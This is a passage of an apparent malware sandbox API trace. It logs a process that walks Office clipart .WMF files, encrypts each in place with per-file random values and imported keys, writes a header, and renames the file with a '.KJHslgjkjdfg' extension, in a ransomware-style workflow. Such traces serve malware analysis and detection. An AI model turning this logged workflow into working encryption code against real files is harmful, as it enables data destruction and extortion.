nNumberOfBytesToRead=0x20e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x20e0, lpOverlapped=0x0) returned 1 [0210.862] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20e0, dwBufLen=0x20e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20e0) returned 1 [0210.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.862] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20e0, lpOverlapped=0x0) returned 1 [0210.862] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.862] SetEndOfFile (hFile=0x130) returned 1 [0210.864] GetProcessHeap () returned 0x990000 [0210.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.864] GetProcessHeap () returned 0x990000 [0210.864] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.kjhslgjkjdfg")) returned 1 [0210.866] CloseHandle (hObject=0x130) returned 1 [0210.866] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0210.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.867] GetProcessHeap () returned 0x990000 [0210.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.867] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.867] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0210.870] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.870] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.870] GetProcessHeap () returned 0x990000 [0210.870] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.870] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.870] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.870] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.870] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.871] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.871] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.871] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.872] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.872] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xae4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xae4, lpOverlapped=0x0) returned 1 [0210.872] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0) returned 1 [0210.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.872] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaf0, lpOverlapped=0x0) returned 1 [0210.872] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.872] SetEndOfFile (hFile=0x130) returned 1 [0210.875] GetProcessHeap () returned 0x990000 [0210.875] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.875] GetProcessHeap () returned 0x990000 [0210.875] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.kjhslgjkjdfg")) returned 1 [0210.877] CloseHandle (hObject=0x130) returned 1 [0210.877] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0210.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.878] GetProcessHeap () returned 0x990000 [0210.878] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.879] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.879] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.879] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.879] GetProcessHeap () returned 0x990000 [0210.879] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.879] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.879] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.879] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.882] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.883] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.883] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.883] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.883] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.883] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.883] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x540, lpOverlapped=0x0) returned 1 [0210.883] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540, dwBufLen=0x540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540) returned 1 [0210.883] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.883] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x540, lpOverlapped=0x0) returned 1 [0210.884] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.884] SetEndOfFile (hFile=0x130) returned 1 [0210.887] GetProcessHeap () returned 0x990000 [0210.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.887] GetProcessHeap () returned 0x990000 [0210.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.kjhslgjkjdfg")) returned 1 [0210.889] CloseHandle (hObject=0x130) returned 1 [0210.889] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0210.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.890] GetProcessHeap () returned 0x990000 [0210.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.890] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.890] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.892] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.892] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.892] GetProcessHeap () returned 0x990000 [0210.892] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.892] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.892] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.892] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.893] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.893] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.893] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.893] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.893] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1db8, lpOverlapped=0x0) returned 1 [0210.894] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1dc0, dwBufLen=0x1dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1dc0) returned 1 [0210.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.894] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1dc0, lpOverlapped=0x0) returned 1 [0210.895] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.895] SetEndOfFile (hFile=0x130) returned 1 [0210.897] GetProcessHeap () returned 0x990000 [0210.897] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.897] GetProcessHeap () returned 0x990000 [0210.897] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.kjhslgjkjdfg")) returned 1 [0210.899] CloseHandle (hObject=0x130) returned 1 [0210.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0210.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.900] GetProcessHeap () returned 0x990000 [0210.900] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.900] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.901] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.904] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.904] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.904] GetProcessHeap () returned 0x990000 [0210.904] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.904] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.904] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.904] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.904] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.904] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.904] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.904] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.904] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.905] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.905] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.905] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcdc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcdc, lpOverlapped=0x0) returned 1 [0210.905] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0, dwBufLen=0xce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0) returned 1 [0210.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.905] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xce0, lpOverlapped=0x0) returned 1 [0210.905] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.905] SetEndOfFile (hFile=0x130) returned 1 [0210.908] GetProcessHeap () returned 0x990000 [0210.908] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.908] GetProcessHeap () returned 0x990000 [0210.908] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.kjhslgjkjdfg")) returned 1 